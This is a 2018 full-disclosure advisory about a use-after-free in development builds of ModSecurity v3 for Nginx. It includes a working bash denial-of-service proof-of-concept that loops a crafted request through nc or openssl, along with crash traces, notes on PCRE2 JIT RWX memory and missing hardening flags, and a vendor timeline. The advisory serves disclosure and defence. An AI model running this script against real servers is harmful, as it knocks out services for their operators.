Message-ID: <CAN10O-Z51sg=RjVitUmbD48wN_965s6mqnYQcUvs1ciegWiCFg@mail.gmail.com>
Date: Fri, 23 Mar 2018 01:01:54 +1100
From: x ksi <s3810@...stk.edu.pl>
To: fulldisclosure@...lists.org, bugtraq@...urityfocus.com
Subject: [FD] ModSecurity WAF 3.0 for Nginx - Denial of Service

Hey,

TL;DR: UAF in a "non-release" version of ModSecurity for Nginx.
       !RCE|DoS, no need to panic.
       Plus some old and even older exploitation vector(s).

/*
 * 1. Use-After-Free (UAF)
 */

During one of the engagements my team tested a WAF running in production
Nginx + ModSecurity + OWASP Core Rule Set [1][2][3]. In the system logs I
found information about the Nginx worker processes being terminated due to
memory corruption errors.

Through fuzzing and stress testing it was possible to obtain a minimised
payload triggering the memory corruption. Further analysis revealed the v3
branch of ModSecurity suffered from an UAF vulnerability. Unfortunately,
all I managed to do with it was to cause a poor-man's remote DoS, perhaps
others will have more luck exploiting it. Looking forward to read about it.

The jaw dropping PoC:

--
$ cat > modsecngxdos.sh << EOF
#!/bin/bash
a="QlpoOTFBWSZTWZB0FmAAAAlfgAAQAQEQAEWAVAom%2f96UIABQxhMTJgJgACKHqYaj"
a=\$a"EaYRk2pkZNlJnepN6k2L5PW8zntXMKxo5QpTgThzp3eBFqIXA0G5fxY3iA%2bYUj"
a=\$a"8XckU4UJCQdBZg"
b="GET / HTTP/1.1\r\nUser-Agent: grabber\r\nHost: \$a\r\n\r\n"
if [ -z "\$1" ]; then
  echo -e "\n \$0 <host> <port> [tls]\n"
  echo ; exit
elif [ ! -z "\$3" ]; then
  c="openssl s_client -tls1 -no_ign_eof -quiet -connect \$1:\$2"
else
  c="nc \$1 \$2"
fi; echo "Ctrl+C to abort..."
while true; do
  d=\$(echo -e \$b | \$c 2>/dev/null)
  echo -n "!grab!"
  if [ ! -z "\$d" ]; then
    echo "Oh crap. Probably \$1 is not vulnerable. Better luck next time!"
    exit
  else
    echo -n "poof!gone"
  fi
done
EOF
--

The PoC was confirmed to work against the following combo setups:

--
ModSecurity v3/119a6fc07482096e8429399dc2d7c0d3f903a7ae
CentOS 7.4.1708
libpthread-2.17 [4]

ModSecurity v3/5a32b389b49ebd0325a1ba81d7032593f8b9fb18
Fedora 18
libpthread-2.17

ModSecurity v3/5a32b389b49ebd0325a1ba81d7032593f8b9fb18
Ubuntu 14.04 LTS
libpthread-2.19
--

GDB:

--
# gdb -p `pgrep nginx|tail -n1` /opt/nginx/nginx_vuln
(gdb) continue
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x00007f6a07632f4b in std::string::operator+=(char) () from
/lib64/libstdc++.so.6
(gdb) bt
#0 0x00007f6a07632f4b in std::string::operator+=(char) () from
/lib64/libstdc++.so.6
#1 0x00007f6a079807ed in modsecurity::Rule::getFinalVars
(this=this@...ry=0x26962d0, trans=trans@...ry=0x31f6430) at
rule.cc:504
#2 0x0007f6a07981972 in modsecurity::Rule::evaluate
(this=this@...ry=0x26962d0, trans=trans@...ry=0x31f6430,
ruleMessage=std::shared_ptr (count 1, weak 0) 0x32f5c70) at
rule.cc:637
#3 0x00007f6a079744a6 in modsecurity::Rules::evaluate (this=0x2618210,
phase=phase@...ry=6, transaction=transaction@...ry=0x31f6430) at
rules.cc:212
#4 0x00007f6a0796210d in modsecurity::Transaction::processLogging
(this=0x31f6430) at transaction.cc:1243
#5 0x00007f6a079624b5 in modsecurity::msc_process_logging
(transaction=<optimized out>) at transaction.cc:2101
#6 0x00000000004918b8 in ngx_http_modsecurity_log_handler
(r=<optimized out>) at
/bla/ModSecurity-nginx/src/ngx_http_modsecurity_log.c:72
#7 0x0000000000439690 in ngx_http_log_request (r=r@...ry=0x260db60) at
src/http/ngx_http_request.c:3109
#8 0x0000000000439806 in ngx_http_free_request (r=r@...ry=0x260db60,
rc=rc@...ry=0) at src/http/ngx_http_request.c:3064
#9 0x00000000004399e3 in ngx_http_close_request (r=r@...ry=0x260db60,
rc=rc@...ry=0) at src/http/ngx_http_request.c:3017
#10 0x000000000043be5d in ngx_http_finalize_connection
(r=r@...ry=0x260db60) at src/http/ngx_http_request.c:2233
#11 0x000000000043caa9 in ngx_http_finalize_request
(r=r@...ry=0x260db60, rc=<optimized out>, rc@...ry=0) at
src/http/ngx_http_request.c:2127
#12 0x000000000044aea6 in ngx_http_upstream_finalize_request
(r=r@...ry=0x260db60, u=u@...ry=0x323c600, rc=rc@...ry=0) at
src/http/ngx_http_upstream.c:3102
#13 0x000000000044ba90 in ngx_http_upstream_process_request
(r=r@...ry=0x260db60) at src/http/ngx_http_upstream.c:2721
#14 0x000000000044bb89 in ngx_http_upstream_process_upstream
(r=r@...ry=0x260db60, u=u@...ry=0x323c600) at
src/http/ngx_http_upstream.c:2655
#15 0x000000000044d449 in ngx_http_upstream_send_response
(u=0x323c600, r=0x260db60) at src/http/ngx_http_upstream.c:2348
#16 0x000000000044d4d6 in ngx_http_upstream_process_header
(r=0x260db60, u=0x323c600) at src/http/ngx_http_upstream.c:1644
#17 0x000000000044bc07 in ngx_http_upstream_handler (ev=0x2fcd598) at
src/http/ngx_http_upstream.c:935
#18 0x0000000000427bfc in ngx_epoll_process_events (cycle=0x25f4960,
timer=<optimized out>, flags=<optimized out>) at
src/event/modules/ngx_epoll_module.c:683
#19 0x000000000041eb3e in ngx_process_events_and_timers
(cycle=cycle@...ry=0x25f4960) at src/event/ngx_event.c:247
#20 0x0000000000425d40 in ngx_worker_process_cycle (cycle=0x25f4960,
data=<optimized out>) at src/os/unix/ngx_process_cycle.c:807
#21 0x000000000042449f in ngx_spawn_process
(cycle=cycle@...ry=0x25f4960, proc=proc@...ry=0x425c51
<ngx_worker_process_cycle>, data=data@...ry=0x0,
name=name@...ry=0x4965e6 "worker process", respawn=respawn@...ry=-3)
at src/os/unix/ngx_process.c:198
#22 0x0000000000424fcd in ngx_start_worker_processes
(cycle=cycle@...ry=0x25f4960, n=1, type=type@...ry=-3) at
src/os/unix/ngx_process_cycle.c:362
#23 0x000000000042664c in ngx_master_process_cycle
(cycle=cycle@...ry=0x25f4960) at src/os/unix/ngx_process_cycle.c:136
#24 0x0000000000408eca in main (argc=<optimized out>, argv=<optimized
out>) at src/core/nginx.c:412
-- 

ASAN:

--
==17348==ERROR: AddressSanitizer: heap-use-after-free on address
0x60700011dce0 at pc 0x7f59f2baf935 bp 0x7ffe23c92e50 sp
0x7ffe23c925f8
READ of size 38 at 0x60700011dce0 thread T0
    #0 0x7f59f2baf934 in __asan_memcpy
(/usr/lib/x86_64-linux-gnu/libasan.so.2+0x8c934)
    #1 0x7f59f21d7b36 in std::char_traits<char>::copy(char*, char
const*, unsigned long) /usr/include/c++/5/bits/char_traits.h:290
    #2 0x7f59f21d7b36 in std::__cxx11::basic_string<char,
std::char_traits<char>, std::allocator<char> >::_S_copy(char*, char
const*, unsigned long) /usr/include/c++/5/bits/basic_string.h:299
    #3 0x7f59f21d7b36 in std::__cxx11::basic_string<char,
std::char_traits<char>, std::allocator<char> >::_S_copy_chars(char*,
char const*, char const*) /usr/include/c++/5/bits/basic_string.h:346
    #4 0x7f59f21d7b36 in void std::__cxx11::basic_string<char,
std::char_traits<char>, std::allocator<char> >::_M_construct<char
const*>(char const*, char const*, std::forward_iterator_tag)
/usr/include/c++/5/bits/basic_string.tcc:229
    #5 0x7f59f21deddc in void std::__cxx11::basic_string<char,
std::char_traits<char>, std::allocator<char>
>::_M_construct_aux<char*>(char*, char*, std::__false_type)
/usr/include/c++/5/bits/basic_string.h:195
    #6 0x7f59f21deddc in void std::__cxx11::basic_string<char,
std::char_traits<char>, std::allocator<char>
>::_M_construct<char*>(char*, char*)
/usr/include/c++/5/bits/basic_string.h:214
    #7 0x7f59f21deddc in std::__cxx11::basic_string<char,
std::char_traits<char>, std::allocator<char>
>::basic_string(std::__cxx11::basic_string<char,
std::char_traits<char>, std::allocator<char> > const&)
/usr/include/c++/5/bits/basic_string.h:400
    #8 0x7f59f21deddc in
modsecurity::Rule::getFinalVars(modsecurity::Transaction*)
/bla/src/ModSecurity/src/rule.cc:596
    #9 0x7f59f21dfc1c in
modsecurity::Rule::evaluate(modsecurity::Transaction*,
std::shared_ptr<modsecurity::RuleMessage>)
/bla/ModSecurity/src/rule.cc:728
    #10 0x7f59f21d2646 in modsecurity::Rules::evaluate(int,
modsecurity::Transaction*) /bla/src/ModSecurity/src/rules.cc:219
    #11 0x7f59f21bde18 in
modsecurity::Transaction::processRequestBody()
/bla/src/ModSecurity/src/transaction.cc:803
    #12 0x640d64 in ngx_http_modsecurity_pre_access_handler
../ModSecurity-nginx/src/ngx_http_modsecurity_pre_access.c:199
    #13 0x4de9e9 in ngx_http_core_generic_phase
src/http/ngx_http_core_module.c:873
    #14 0x4de818 in ngx_http_core_run_phases src/http/ngx_http_core_module.c:851
    #15 0x4de6ce in ngx_http_handler src/http/ngx_http_core_module.c:834
    #16 0x505583 in ngx_http_process_request src/http/ngx_http_request.c:1948
    #17 0x502382 in ngx_http_process_request_headers
src/http/ngx_http_request.c:1375
    #18 0x5001d6 in ngx_http_process_request_line
src/http/ngx_http_request.c:1048
    #19 0x4fe67c in ngx_http_wait_request_handler
src/http/ngx_http_request.c:506
    #20 0x4c7083 in ngx_epoll_process_events
src/event/modules/ngx_epoll_module.c:902
    #21 0x4930a9 in ngx_process_events_and_timers src/event/ngx_event.c:242
    #22 0x4bea2b in ngx_worker_process_cycle src/os/unix/ngx_process_cycle.c:750
    #23 0x4b5756 in ngx_spawn_process src/os/unix/ngx_process.c:199
    #24 0x4bdbf2 in ngx_reap_children src/os/unix/ngx_process_cycle.c:622
    #25 0x4ba892 in ngx_master_process_cycle src/os/unix/ngx_process_cycle.c:175
    #26 0x40e45a in main src/core/nginx.c:382
    #27 0x7f59f189b82f in __libc_start_main
(/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #28 0x40d4f8 in _start (/usr/sbin/nginx+0x40d4f8)

0x60700011dce0 is located 0 bytes inside of 69-byte region
[0x60700011dce0,0x60700011dd25)
freed by thread T0 here:
    #0 0x7f59f2bbcb2a in operator delete(void*)
(/usr/lib/x86_64-linux-gnu/libasan.so.2+0x99b2a)
    #1 0x7f59f220eca8 in
__gnu_cxx::new_allocator<char>::deallocate(char*, unsigned long)
/usr/include/c++/5/ext/new_allocator.h:110
    #2 0x7f59f220eca8 in std::allocator_traits<std::allocator<char>
>::deallocate(std::allocator<char>&, char*, unsigned long)
/usr/include/c++/5/bits/alloc_traits.h:517
    #3 0x7f59f220eca8 in std::__cxx11::basic_string<char,
std::char_traits<char>, std::allocator<char> >::_M_destroy(unsigned
long) /usr/include/c++/5/bits/basic_string.h:185
    #4 0x7f59f220eca8 in std::__cxx11::basic_string<char,
std::char_traits<char>, std::allocator<char> >::_M_dispose()
/usr/include/c++/5/bits/basic_string.h:180
    #5 0x7f59f220eca8 in std::__cxx11::basic_string<char,
std::char_traits<char>, std::allocator<char> >::~basic_string()
/usr/include/c++/5/bits/basic_string.h:543
    #6 0x7f59f220eca8 in
modsecurity::collection::Collection::resolveMultiMatches(std::__cxx11::basic_string<char,
std::char_traits<char>, std::allocator<char> > const&,
std::__cxx11::basic_string<char, std::char_traits<char>,
std::allocator<char> >, std::vector<modsecurity::collection::Variable
const*, std::allocator<modsecurity::collection::Variable const*> >*)
../headers/modsecurity/collection/collection.h:102
    #7 0x7f59f220eca8 in
modsecurity::collection::Collections::resolveMultiMatches(std::__cxx11::basic_string<char,
std::char_traits<char>, std::allocator<char> > const&,
std::__cxx11::basic_string<char, std::char_traits<char>,
std::allocator<char> > const&,
std::vector<modsecurity::collection::Variable const*,
std::allocator<modsecurity::collection::Variable const*> >*)
collection/collections.cc:270
    #8 0x7ffe23c92faf  (<unknown module>)

previously allocated by thread T0 here:
    #0 0x7f59f2bbc532 in operator new(unsigned long)
(/usr/lib/x86_64-linux-gnu/libasan.so.2+0x99532)
    #1 0x7f59f048b498 in std::__cxx11::basic_string<char,
std::char_traits<char>, std::allocator<char> >::_M_mutate(unsigned
long, unsigned long, char const*, unsigned long)
(/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x11f498)
--

/*
 * 2. The RWX memory mappings
 */

During the analysis I found that Nginx processes are using RWX memory
mappings, upon further investigation it was revealed that those mapping
were created by PCRE2 code which is heavily used in ModSecurity.

The problem is that the PCRE2's JIT compiler (and DGC in general) in order
to operate correctly requires RWX mapped memory, and because of this
requirement the security of the code that uses PCRE2 can be impacted.

This issue has been known for some time (although new to me) [5][6] with
others trying to address it in one way or another [7][8][9][10][11] with
varied degrees of success.

Programmers who use PCRE2 can unknowingly introduce memory mappings with
RWX permissions in their programs. This will make the exploitation process
easier (e.g bypassing NX/DEP) or possible (i.e. circumventing CFI) for
memory corruption vulnerabilities identified in these programs.

The PCRE2's function responsible for creating the RWX mapping is defined in
src/sljit/sljitExecAllocator.c [12]:

   97 static SLJIT_INLINE void* alloc_chunk(sljit_uw size)
   98 {
   99   void *retval;
  100
  101 #ifdef MAP_ANON
  102   retval = mmap(NULL, size, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANON, -1, 0);
  103 #else
  104   if (dev_zero < 0) {
  105     if (open_dev_zero())
  106       return NULL;
  107   }
  108   retval = mmap(NULL, size, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE, dev_zero, 0);
  109 #endif
  110
  111   return (retval != MAP_FAILED) ? retval : NULL;
  112 }

and is called in ModSecurity by pcre_study() function which is defined in
src/utils/regex.cc [13]:

 41 Regex::Regex(const std::string& pattern_)
 42     : pattern(pattern_),
 43     m_ovector {0} {
 44     const char *errptr = NULL;
 45     int erroffset;
 46
 47     if (pattern.empty() == true) {
 48         pattern.assign(".*");
 49     }
 50
 51     m_pc = pcre_compile(pattern.c_str(), PCRE_DOTALL|PCRE_MULTILINE,
 52         &errptr, &erroffset, NULL);
 53
 54     m_pce = pcre_study(m_pc, pcre_study_opt, &errptr);
 55 }

ModSecurity is not the only project that uses PCRE2 in this way
[14][15][16][17][18].

I have asked authors of the PCRE2 if there are any plans to introduce
changes in the current implementation of JIT in that area and received the
following reply from Zoltán Herczeg:

--
The problem is that OS-es do not provide better options. On-the-fly machine
code generation requires writable and executable memory area. Although you
can play with flipping the flags (set writable first / switch to executable
later), that is unsafe as setting both, and SELinux does not allow even
that. You can play with mapping temporary files (that works under SELinux),
but that is ugly and unsafe as the other options. Anyway you can enable
such allocator by passing -DSLJIT_PROT_EXECUTABLE_ALLOCATOR=1 to CFLAGS
when compiling PCRE, and it works as long as the application does not call
fork(). There is no notification for fork() under Linux, so it is
impossible to tell in the original application that it was forked. Only the
forked part get a new process id.

On the long run, Linux (posix) should provide an API designed for JIT
compilers. It can be safe if the OS does it. (...)  I don't think this
issue can be solved without help from the OS. The currently available
userland methods are inherently insecure.
--

The ModSecurity team also found this issue tricky to resolve because JIT
provides a huge performance gain while processing regexes. If disabled, the
processing performance could become an issue for users. To address the
problem the team considered adding a compile time option for
enabling/disabling JIT in the same way it was done in v2 branch [19].

/*
 * 3. Missing compile-time hardening options
 */

I found that in some distributions, by default during the ModSecurity
compilation the hardening options are missing, e.g.:

--
# lsb_release -a
LSB Version:
:core-4.1-amd64:core-4.1-noarch:cxx-4.1-amd64:cxx-4.1-noarch:desktop-4.1-amd64:desktop-4.1-noarch:languages-4.1-amd64:languages-4.1-noarch:printing-4.1-amd64:printing-4.1-noarch
Distributor ID: CentOS
Description:    CentOS Linux release 7.4.1708 (Core)
Release:        7.4.1708
Codename:       Core

# gdb ./libmodsecurity.so.3.0.0
GNU gdb (GDB) Red Hat Enterprise Linux 7.6.1-100.el7_4.1
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : Dynamic Shared Object
RELRO     : Partial
--

The ModSecurity team considered updating the official documentation so it
suggests to users that they should set '-fstack-protector-all' and
'-D_FORTIFY_SOURCE=2' options at compile time. It was noted that enabling
these could have a potential performance penalty. Trustwave would have to
further investigate in order to determine what, if any, negative impact
this would have.

Additionally, Trustwave considered reaching out to a distro package
maintainers and suggest them to enable the aforementioned flags for
ModSecurity binary packages.

/*
 * 4. Remediation
 */

- Update ModSecurity v3 to its most recent version.
- Contact vendor for more details.

/*
 * 5. Closing word
 */

Feel free to correct me if you know or think that I'm wrong on anything
which has been described here, as it will only assist others.

I would appreciate if someone could point me to any prior work (e.g.
exploits/advisories/articles/ctf challs) treating about leveraging JIT/DGC
to bypass CFI (e.g. Control Flow Guard by MS or RAP by PaX).

The analysis of UAF showed that in order to end up with a vulnerable setup
a substantial number of requirements needs to be met, which could lead
people to presume that finding this kind of issue in the wild is close to
zero. However, life showed (yet again) that vulnerable instances running in
a production environment actually exist.

Perhaps, it is you who will give this UAF a try, analyse it further and
exploit it to obtain RCE. It should be more fun and a better learning
experience than many artificial CTF challenges.

Trustwave has been contacted and after performing an analysis the team came
to the conclusion that the UAF affects only a non-release version(s) of
ModSecurity. In Trustwave's opinion there is no need to release official
information about this bug and notify users.

I wonder if we are going to see more cases similar to this one in the near
future. A "non-release" code that ends up in the production due to a
spreading SecDevOps's culture.  Organisations now build and push code
insanely fast.  Automating 'git clone ...' and pushing the code through all
stages up to production is easy, however, somewhere in the whole CI/DI
pipeline there should be some mechanism(s) that will perform verification
and determine if the code version/release which is going to be used is
actually production ready.  This, on the other hand, is a story for another
time.

/*
 * 6. Timeline:
 */

24.01.2018: Initial contact email sent to security@...security.org asking
            about the process of reporting security related issues in
            ModSecurity.
06.02.2018: No vendor response. Contacting security@...security.org,
            fcosta@...stwave.com and vhora@...stwave.com with brief
            information about the defect and asked about the process of
            reporting security related issues in ModSecurity.
07.02.2018: Vendor provided information about the reporting process and
            asked for more details.
10.02.2018: Additional information and defect analysis provided to the
            vendor.
14.02.2018: No vendor response. Request for a status update.
15.02.2018: Vendor informs the analysis is in progress.
16.02.2018: Vendor informs they're not able to reproduce the issue based on
            the provided information.
16.02.2018: Additional information provided to the vendor.
17.02.2018: Vendor informs they're not able to reproduce the issue based on
            the provided information.
17.02.2018: Additional information provided to the vendor including an OVA
            VM image.
22.02.2018: Vendor confirms they were able to reproduce the issue and
            requests additional information.
22.02.2018: Additional information provided to the vendor.
16.03.2018: No vendor response. Request for a status update and notifying
            vendor about the planned advisory release.
16.03.2018: Vendor confirms issue doesn't happen on the stable release
            version, but more specifically on some development versions.
16.03.2018: Vendor concludes the analysis and provides the following
            response:

We had a fix of invalid variable references which were leading to crashes
on some scenarios. This was fixed on development commit
v3/003a8e8e5f33f4bbbc0e8c349b25faec74bb0440.  We also confirmed that the
RC1 version (v3/a2427df27f482c64ea8666dca9552c67d3a68904) that came out a
few days later is not vulnerable to this issue.  The crash happening on
Nginx with development commit v3/119a6fc07482096e8429399dc2d7c0d3f903a7ae
(the one that we managed to reproduce from your OVA) was due to a test
(hence why its named "test-only: Placing a mutex while evaluating the pm
operator") and it was changed at the same time with commits
v3/7d786b335024f2c896eb30830427c54f28dcc44c and
v3/1c91e807778f826b20d45abcef9a204e8f313d01 which followed the first one
with a few seconds of difference (see git log). They came from a different
branch and were merged together so in essence they are all part of the same
code change.  As those issues didn't happened on any of the release
versions (v3.0.0-rc1/v3.0.1) and we confirmed that the issue is fixed since
commit v3/1c91e807778f826b20d45abcef9a204e8f313d01 we believe that a notice
on a bug from a development version is not really necessary at this moment.
We are open to hear your thoughts otherwise.

20.03.2018: Advisory draft sent to the vendor for review along with
            information about the planned release on 22.03.2018.
23.03.2018: The advisory is released.

/*
 * 7 Acknowledgments
 */

- Victor Hora (Trustwave)
- Gregory Nimmo and Alex Dib (Telstra)
- Telstra BTS Security Services (redteamnsw@...m.telstra.com)

/*
 * 8. References
 */

[1] https://nginx.org/download/nginx-1.13.8.tar.gz
[2] https://github.com/SpiderLabs/ModSecurity
[3] https://github.com/SpiderLabs/owasp-modsecurity-crs
[4] https://bugzilla.redhat.com/show_bug.cgi?id=1146967
[5] https://en.wikipedia.org/wiki/Just-in-time_compilation#Security
[6] https://en.wikipedia.org/wiki/JIT_spraying
[7] https://pax.grsecurity.net/docs/mprotect.txt
[8] https://undeadly.org/cgi?action=article&sid=20160527203200
[9] https://www.tedunangst.com/flak/post/now-or-never-exec
[10] https://jandemooij.nl/blog/2015/12/29/wx-jit-code-enabled-in-firefox/
[11] http://wenke.gtisc.gatech.edu/papers/sdcg.pdf
[12] https://vcs.pcre.org/pcre2/code/trunk/src/sljit/sljitExecAllocator.c?view=markup#97
[13] https://github.com/SpiderLabs/ModSecurity/blob/v3/master/src/utils/regex.cc#L41
[14] https://git.haproxy.org/?p=haproxy-1.8.git;a=blob;f=src/regex.c;h=62c8e84df9e8b122dad61b44bebd70f885de6711;hb=1deb90d5243a5cfa5da7592978592eb9ab2c8c6f#l358
[15] https://github.com/unbit/uwsgi/blob/master/core/regexp.c#L29
[16] https://github.com/varnishcache/varnish-cache/blob/master/lib/libvarnish/vre.c#L86
[17] https://github.com/nginx/nginx/blob/008e9caa2a5b784d337422f1dc4290edfb9cc640/src/core/ngx_regex.c#L341
[18] https://github.com/php/php-src/blob/PHP-7.1.14/ext/pcre/php_pcre.c#L542
[19] https://github.com/SpiderLabs/ModSecurity/blob/v2/master/configure.ac#L328


Thanks,
Filip Palian


P.S. Sorry about the formatting, mutt took a day off.

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists